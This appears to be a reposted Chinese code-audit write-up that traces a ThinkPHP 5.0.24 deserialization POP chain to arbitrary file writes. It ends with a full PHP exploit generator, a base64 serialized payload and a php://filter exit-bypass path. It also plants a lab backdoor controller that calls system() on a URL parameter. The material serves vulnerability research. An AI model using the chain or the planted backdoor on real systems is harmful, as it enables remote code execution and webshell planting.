ThinkPHP 5.0.X代码审计
2022-8-29 21:51:41 Author: xz.aliyun.com(查看原文) 阅读量:63 收藏

前言:

本次记录主要是对ThinkPHP 框架的 5.0.x版本进行代码审计,主要涉及的软件有:

PHPSTORM

Seay源代码审计系统

Phpstudy_pro

PHP版本使用7.3.4

关于PHPSTORM的Xdebug的搭建,我主要参考了暗月的教程

(说实话phpstudy_pro的配置文件真的太麻烦了)

ThinkPHP 5.0.24 链接

Seay自动审计:

首先还是常规操作,使用Seay源代码审计系统来进行自动审计:

这边出了一堆。不过不是每个都有用的。

主要还是要审计POP链,然后RCE。

目录结构:

首先是对ThinkPHP 5.0目录结构进行查看:

www  WEB部署目录(或者子目录)
├─application           应用目录
│  ├─common             公共模块目录(可以更改)
│  ├─module_name        模块目录
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  │
│  ├─command.php        命令行工具配置文件
│  ├─common.php         公共函数文件
│  ├─config.php         公共配置文件
│  ├─route.php          路由配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─database.php       数据库配置文件
│
├─public                WEB目录(对外访问目录)
│  ├─index.php          入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于apache的重写
│
├─thinkphp              框架系统目录
│  ├─lang               语言文件目录
│  ├─library            框架类库目录
│  │  ├─think           Think类库包目录
│  │  └─traits          系统Trait目录
│  │
│  ├─tpl                系统模板目录
│  ├─base.php           基础定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     框架惯例配置文件
│  ├─helper.php         助手函数文件
│  ├─phpunit.xml        phpunit配置文件
│  └─start.php          框架入口文件
│
├─extend                扩展类库目录
├─runtime               应用的运行时目录(可写,可定制)
├─vendor                第三方类库目录(Composer依赖库)
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

这部分可以比较明确的看见每个部分代码的作用是什么,方便到时候思考,或者是跟链子。

构建利用点:

关于控制器文件(Controller):

ThinkPHP的控制器是一个类,接收用户的输入并调用模型和视图去完成用户的需求,控制器层由核心控制器和业务控制器组成,核心控制器由系统内部的App类完成,负责应用(包括模块、控制器和操作)的调度控制,包括HTTP请求拦截和转发、加载配置等。业务控制器则由用户定义的控制器类完成。多层业务控制器的实现原理和模型的分层类似,例如业务控制器和事件控制器。

控制器写法:

控制器文件通常放在application/module/controller下面,类名和文件名保持大小写一致,并采用驼峰命名(首字母大写)。

一个典型的控制器类定义如下:

<?php
namespace app\index\controller;

use think\Controller;

class Index extends Controller
{
    public function index()
    {
        return 'index';
    }
}

控制器类文件的实际位置是

application\index\controller\Index.php

一个例子:

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';
    }
}
    public function backdoor($command)
    {
        system($command);
    }
}

想进入后门,需要访问:

http://ip/index.php/Index/backdoor/?command=ls

像上面这样就可以实现命令执行。

这个框架是需要二次开发,并且实现反序列化才能够进行利用,所以需要手写一个利用点。就写在controller里。

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        echo "Welcome thinkphp 5.0.24";
        unserialize(base64_decode($_GET['a'])); //下面部分是自带的。
        return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>'; 
    }
}

利用链分析:

对于PHP反序列化来说,一般来说,比较常见的起点是:

_wakeup() 反序列化后,自动被调用

_destruct() 对象被销毁前,被调用

_toString() 对象被当作字符串输出前,被调用

比较常见的中间跳板是:

__toString 当一个对象被当做字符串使用,自动被调用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this->$func();

根据以上两个经验,首先在Seay中进行全局查找。

那么可能存在的POP链大概率就在这部分。

尝试审计:

尝试审计第一个__wakeup()

实际上来说__wakeup()因为是在进行了反序列化之后才进行的,所以大部分时候是对反序列化内容的限制,很少作为入口,大部分时候可以直接看__destruct()

但是这里还是看一下

从Seay里可以看见,这部分的反序列化函数在:

首先看一下unserialize()中的值是否可控。

向上看一下$value

这里可以看见value的值被设置为了null。

后面陆续向下看,可以发现的是$value值在这部分被用来存储时间戳

然后在接下来的writeTransform()函数部分进行使用者需要的数据类型的更改。

然后在readTransform()部分进行数据类型的变回去(进行了json格式加码,就进行解码,进行了序列化的就反序列化)

因此很容易发现$value的值是我们不能操控的,所以这里无法利用。

POP链:

有了以上的经验,接下来我们对__destruct()函数进行审计。

路径:

thinkphp/library/think/process/pipes/Windows.php

这里首先看一下__destruct()

可以看见这边调用了两个函数,跟进一下。

首先分析一下close()成员方法。

可以看到这里首先是调用了父类中的close()方法,这里跟进一下,可以找到父类Pipes中的close()方法

这里的作用就是将pipes数组中存在的文件一一关闭,最后再将pipes数组清空。

子类中的方法同理,可知close()用于关闭文件,虽然可以控制传参,但是不能进一步利用。

分析removeFiles()成员方法。

可以看见这里有一个敏感函数,file_exists()。当执行该函数的时候,会将参数作为字符串来判断,如果输入的是参数是一个对象,可以触发__toString()魔术方法

看一下$filename能不能控制。

这里看一下$this->files的用法,写入值在__construct(),不影响,因为反序列化不会调用__construct()函数

可以在__construct()看见files数组中,进行定义的过程。

这里使用到了tempnam()函数,可以再指定的目录中创建一个具有唯一文件名的临时文件。成功返回新的文件名,失败返回false。

另一个函数返回当前操作系统的临时文件目录。

这部分可以看见数组$file的定义,发现是可以控制的。

跟进到__toString(),在Seay代码审计系统中进行全局搜索:

这里经过尝试之后,可以直接跟进到Model.php中的__toString()参数。(注意Model是一个抽象类,要进行了继承了之后才能实例化成对象,所以要找一个子类,这里可以选择Pivot)

跟进到toJson()方法。

这里使用了json_encode()函数,函数返回一个字符串,包含了value值json格式的表示。编码会受到options参数的印象。

跟进到toArray()方法。(太长了,不放截图)

/**
     * 转换当前模型对象为数组
     * @access public
     * @return array
     */
    public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];

        $data = array_merge($this->data, $this->relation);

        // 过滤属性
        if (!empty($this->visible)) {
            $array = $this->parseAttr($this->visible, $visible);
            $data  = array_intersect_key($data, array_flip($array));
        } elseif (!empty($this->hidden)) {
            $array = $this->parseAttr($this->hidden, $hidden, false);
            $data  = array_diff_key($data, array_flip($array));
        }

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
            } elseif (is_array($val) && reset($val) instanceof Model) {
                // 关联模型数据集
                $arr = [];
                foreach ($val as $k => $value) {
                    $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
                }
                $item[$key] = $arr;
            } else {
                // 模型属性
                $item[$key] = $this->getAttr($key);
            }
        }
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this, $relation)) {
                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);

                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
            }
        }
        return !empty($item) ? $item : [];
    }

这里比较长,但是不需要进行特别详细的审计,主要是看看有没有可以利用的危险函数,或者是可以当成跳板的利用点。

简单看了一下,这里没有什么危险函数,所以要考虑找跳板。

这里比较常见的跳板主要是__call()

看看有没有可控的,调用了函数的变量。

可以看到,一共有这三个变量调用了方法,找一下有没有可控的。

利用PHPSTORM的查找写入值,可以比较方便的看见写入和读取的过程。

前提:

首先看$relation

前两个是用getAttr()函数来返回以$key为键名的数组$data的元素值。

后一个是调用了Loader类中的方法,看一下方法:

函数备注了字符串命名风格转换,理论上来说对于输入的字符串$name是不会有什么影响的,如果$name可以进行控制的话,那么就可以控制到$relation

回头查看一下:

通过查看append的调用,可以发现append是可以控制的,那么$name$relation就是可以控制的了。可以通过这里触发__call()魔术方法。

然后是看$modelRelation

这里有一个写入值的地方。

说实话,这部分我没看懂代码

查了一下之后, 对于这部分代码可以理解为:

$modelRelation = $this->$relation(); //relation是一个可以改变的函数名,可以根据$relatioin不同值,来使得$modelRelation等于不同函数的返回值。

同时要进入这部分,需要首先满足method_exists()这个方法。

用于这部分,就是需要满足$relation()所指向的方法,是存在于Model类中的方法。

这里选择的是getError()这个方法,因为返回值是可以控制的。

所以只要通过设置$error为一个对象,同时将$relation设置为getError,就可以实现对$modelRelation的控制,进而触发__call()

最后看一下$value

这里可以看见两个写入值的地方,跟进一下getRelationData($modelRelation)

这里首先判断了一下传入的参数是Relation类的对象(也就是$modelRelation)

可以看见下面有一个$value = $this->parent,而$parent是可控的,这里如果能控制就很方便了。

看看判断条件:

if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent))

分析一下:

这里需要$this->parent存在,$modelRelation中存在isSelfRelation()且返回值为0,$modelRelation中存在getModel()方法。

满足以上条件之后,就可以进入if,然后令$value=$this->partent。所以$value也是可以控制的

触发__call():

接下来就是要考虑怎么调用函数,来触发__call()

if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this, $relation)) {
                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);

                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
            }
        }
        return !empty($item) ? $item : [];
    }

1、if (!empty($this->append))

可以直接控制,进入

2、foreach ($this->append as $key => $name)

控制了$append,可以直接进入。

3、if (is_array($name))

令上一步中的$name不是数组,进入。

4、elseif (strpos($name, '.'))

$name不存在.,进入。

5、if (method_exists($this, $relation))

要保证在Model类中,$relation表示的函数存在即可进入。

6、if (method_exists($modelRelation, 'getBindAttr'))

保证在$modelRelation表示的类中存在getBindAttr()方法可以进入。

7、if ($bindAttr)

保证$modelRelation->getBindAttr();存在,可以进入

8、if (isset($this->data[$key])) {

使得$data中以$key为键的元素是空即可绕过。

分析:

对于以上的八个关键点,进行分析:

因为我们可以控制$append,所以我们可以对$key$name的值进行控制(通过第二点的foreach)。

接下来第三点,我们需要保证在$append中元素不为数组,这很好实现,随便写入一个字符串,例如Ho1L0w-By(只是一个例子)即可(但实际上后面的要求不一样,只是就目前情况分析)。

第四点,要求$name,也就是$append中的元素中不能有.,写的字符串已经实现了。

第五点和第六点需要一起看,就像是我们之前分析$relation$modelRelation一样,为了控制第六点中的$modelRelation中存在getBindAttr()方法,我们需要将$relation控制写为getError,这样才能控制$modelRelation的值,使得$modelRelation中存在getBindAttr()

那么总结一下上面的六点:

$append中的$key$name可以控制,且$name的值必须为getError,然后通过设置$error值,来进一步控制$modelRelation
而根据我们之前对于getRelationData()方法中,$value = $this->partent的分析,这里来总结一下对于$modelRelation需要的条件

1、是Relation对象

2、存在isSelfRelation()方法,且返回值存在

3、存在getModel()方法,且返回值与get_class($this->parent)相同。(双等号)

4、存在getBindAttr()

进行用法查找:

可以看见这些里面都存在Relation的类。

而看过Relation类之后可以发现,在所有的Relation的子类中都存在isSelfRelation()getModel()

这里跟进一下getModel()函数:

查找一下用法,可以知道$query是可控的,这里需要知道哪个类的getModel()方法是可控的,来控制返回值。

可以看见是可控的,选择Query.php。

接下来就是在这些子类中找存在getBindAttr()方法的类

在这里可以看见,和上面的重合点有一个,就是OneToOne.php里面。

而这里因为OneToOne这个类是抽象类,所以还需要找到它的子类。

这里可以选择HasOne.php。

这里就已经解决了$modelRelation的需求,可以继续看剩下的7,8点。

第七点需要我们返回的$bindAttr的值存在,看一下OneToOne.php中的getBindAttr()方法,可以看见是可控的,简单绕过。

第八点我们对$key的值溯源一下,

看一下这个三元运算,只要$key是数字,就可以设置$key的值为$attr,可以看见$key$attr都是我们可以进行控制的,因为$bindAttr可以控制。

到这里,已经可以执行我们需要的函数来触发__call()了。

选择__call():

进行全局搜索,找到一个合适的__call()方法

这里根据前人经验,可以选择Output.php(篇幅有限)

这里是路径:

thinkphp/library/think/console/Output.php

在这里主要需要看的是这两个函数:

array_unshift()call_user_func_array()

array_unshift() 函数用于向数组插入新元素。新数组的值将被插入到数组的开头。

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

可以看到第一个没什么用,但是第二个比较有意思,这里可以调用回调函数。

什么是回调函数?

通俗的来说,回调函数是一个我们定义的函数,但是不是我们直接来调用,而是通过另一个函数来调用,这个函数通过接收回调函数的名字和参数来实现对它的调用。

看看手册里的说明。

因为是在

$item[$key] = $value ? $value->getAttr($attr) : null;

对__call()进行的触发,所以此处在__call()中的参数,$methodgetAttr()$args$attr的值。

第一个if中,可以看见styles是可控的。

$styles中的值多添加一个getAttr()即可进入

这里跟进类中的block方法:

跟进writeln(一看就很敏感)

跟进write

查看一下$handle的用法

反序列化是不会调用__construct()的,因此$handle可控

因此可以全局查看一下哪里的write可以利用:

这里可以看见有好几个write函数存在,也有多个可以利用的点。这里主要让我们看一下Memcache.php中的Write函数。

thinkphp/library/think/session/driver/Memcache.php

$handler可控,因此可以随便调用任何文件中的set函数,全局查找set函数:

这里还是使用Seay进行查找。

这里可以看见很多不同的函数使用文件,可以都看一下,这里如果是想要使用写入webshell,主要的利用点在File.php文件中,文件路径:

thinkphp/library/think/cache/driver/File.php

可以看见危险函数file_put_contents($filename,$data),这里可以用来写入webshell。具体内容可以由我们自己决定。

这里一般来说,只要我们使用一个<?php phpinfo(); ?>,然后访问对应文件,出现了详情页面,就可以用来证明漏洞存在了。

这里分析一下如何利用到这个file_put_contents()函数。

第一个if是判断$expire的,对$expire进行了设置。

第二个if用来判断$expire是不是DataTime的子类,设置时间戳。

然后将$filename调用getCacheKey()函数进行了值的设置,因为$filenamefile_put_contents()函数中的一个参数,所以这里我们跟进函数。

protected function getCacheKey($name, $auto = false)
    {
        $name = md5($name); //$name进行md5加密
        if ($this->options['cache_subdir']) { 
            // 使用子目录
            $name = substr($name, 0, 2) . DS . substr($name, 2);
        }
        if ($this->options['prefix']) {
            $name = $this->options['prefix'] . DS . $name;
        }
        $filename = $this->options['path'] . $name . '.php';
        $dir      = dirname($filename);

        if ($auto && !is_dir($dir)) {
            mkdir($dir, 0755, true);
        }
        return $filename;
    }

可以看见两个if主要是用来更改文件名的,因为$options可以控制,所以可以直接修改之后绕过。

然后到了$filename进行设置的地方了,这里同样因为$options可以进行控制,所以基本是可以确定文件名是可控的,同时文件的后缀也是被写死了是.php。

后面的函数不会影响$filename,因此可以确定$filename可以控制。

继续分析,可以看见$data作为file_put_contents()函数的参数是进行序列化出来的,参数是使用的$value

这里会出现两个问题,因为$value这个值是调用函数时传入的参数,在writeln中一路传过来的时候,已经是被确定了为布尔值的true,因此我们不能对$value达成控制的效果。

而这里,也可以看见$data的值也是被写死了,并且存在一个exit()函数,需要进行死亡绕过。

$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; //这里连接了一个$data

如果不能解决这两个问题,这条链子是没法调用的。

这里需要往下看

跟进到setTagItem(),

可以看见这里将$filename作为参数传递进去,同时在下方继续对set()函数进行了调用,将$key和$value作为参数传递了回去。

可以看见,在这里的$value是赋值为了$filename的值,因此,如果是构造了较为合理的$filename,那么就可以进行文件的写入。

写入了文件之后,需要考虑到代码执行的问题,因此需要对exit()函数进行绕过,这里需要用到PHP伪协议的知识,来对exit()函数进行死亡绕过。

死亡绕过参考:https://xz.aliyun.com/t/8163#toc-0

到这里,这条链子算是走通了。

EXP:

按照我们现在进行的一系列分析,可以尝试写出EXP如下:

<?php
namespace think\process\pipes{
    abstract class Pipes{

    }
}
namespace think\process\pipes{
    class Windows extends Pipes
    {
        private $files = [];
        public function __construct($Pivot) //这里传入的需要是Pivot的实例化对象
        {
            $this->files = [$Pivot];
        }
    }
}
//Pivot类
namespace think {
    abstract class Model{
        protected $append = [];
        protected $error = null;
        protected $parent;

        function __construct($output, $modelRelation)
        {
            $this->parent = $output;  //$this->parent=> think\console\Output;
            $this->append = array("1"=>"getError");     //调用getError 返回this->error
            $this->error = $modelRelation;               // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类,也就是HasOne
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
        function __construct($output, $modelRelation)
        {
            parent::__construct($output, $modelRelation);
        }
    }
}
//HasOne类
namespace think\model\relation{
    class HasOne extends OneToOne {

    }
}
namespace think\model\relation {
    abstract class OneToOne
    {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query)
        {
            $this->selfRelation = 0;
            $this->query = $query;    //$query指向Query
            $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
        }
    }
}
//Query类,用来匹配$parent
namespace think\db {
    class Query {
        protected $model;

        function __construct($model) //传入的需要是Output类的对象
        {
            $this->model = $model;
        }
    }
}
//Output类
namespace think\console{
    class Output{
        protected $styles = ["getAttr"];
        private $handle;
        public function __construct($handle)
        {
            $this->handle = $handle; //是Memcached类的对象,需要调用这个里面的write
        }
    }
}
//Memcached类
namespace think\session\driver {
    class Memcached{
        protected $handler;
        public function __construct($handler)
        {
            $this->handler = $handler; //是File类的对象,需要使用其中的set方法
        }
    }
}
//File类
namespace think\cache\driver {
    class File
    {
        protected $options=null;
        protected $tag;
        public function __construct()
        {
            $this->options=[
                'expire' => 0,
                'cache_subdir' => '0', //绕过getCacheKey中的第一个if
                'prefix' => '0', //绕过getCacheKey中的第二个if
                'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php', //有php+12个0+exit,共21个字符,为了凑到4的整数倍,需要加上三个字符
                'data_compress' => false,
            ];
            $this->tag = '1'; //用于后续控制文件名,需要使用
        }
    }
}
namespace {
    $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
    $Output = new think\console\Output($Memcached);
    $model = new think\db\Query($Output);
    $HasOne = new think\model\relation\HasOne($model);
    $window = new think\process\pipes\Windows(new think\model\Pivot($Output, $HasOne));
    echo base64_encode(serialize($window));
}

运行后生成:

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7aToxO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czo5OiIAKgBzdHlsZXMiO2E6MTp7aTowO3M6NzoiZ2V0QXR0ciI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MDtzOjEyOiJjYWNoZV9zdWJkaXIiO3M6MToiMCI7czo2OiJwcmVmaXgiO3M6MToiMCI7czo0OiJwYXRoIjtzOjEwNjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPXh4eFBEOXdhSEFnY0dod2FXNW1ieWdwT3o4Ky8uLi9hLnBocCI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7czoxOiIxIjt9fX19fXM6OToiACoAcGFyZW50IjtyOjExO319fQ

传入:

效果图:

这里分析一下文件名是怎么生成的

第一次进入set函数的时候:

首先将$name进行md5加密,然后连接到$this->options['path']后面,再加上.php

可以得到$filename如下:

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php8db7a8c80e67e908f96fbf22dde11df3.php

然后进行file_put_contents(),可以得到第一个文件,同时第一个$data值是将恒为true的$value反序列化,得到b:1;

第二次进入set函数的时候:

会经过setTagtem()函数,进行重新赋值,进入到has方法,跟进到get方法,然后重新调用到File类的getCacheKey方法,此时的$name是tag_md5("1"),也就是tag_c4ca4238a0b923820dcc509a6f75849b

然后上面的再次md5,得到3b58a9545013e88c7186db11bb158c44,按照之前的方法,连接到后面,就会出现新的$filename

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php3b58a9545013e88c7186db11bb158c44.php

因为这个文件不存在,会返回false所以会跳过if($this->has($key)),直接令$value等于输入的$name,也就是tag_md5("1"),也就是tag_c4ca4238a0b923820dcc509a6f75849b

然后再次进入set()函数,这一次会进入getCacheKey()函数,然后再次md5加密,得到md5(tag_md5("1")),也就是$filename

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php3b58a9545013e88c7186db11bb158c44.php

然后因为第一次进入setTagItem()函数的时候,会将tag设置为null,所以不会再进入,写入成功。

因此最后我们需要的文件名应该是这个格式:

<?php
$name = "a.php".md5(tag_md5("1")).".php"

两次md5都是getCacheKey中的函数。

参考:

https://xz.aliyun.com/t/7457#toc-3

https://www.moonsec.com/4586.html

https://www.anquanke.com/post/id/196364#h2-5

https://www.anquanke.com/post/id/265088#h2-4

https://xz.aliyun.com/t/7457#toc-5

https://blog.csdn.net/Zero_Adam/article/details/116170568?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-116170568-blog-119196766.pc_relevant_aa_2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-116170568-blog-119196766.pc_relevant_aa_2&utm_relevant_index=2


文章来源: https://xz.aliyun.com/t/11658
如有侵权请联系:admin#unsafe.sh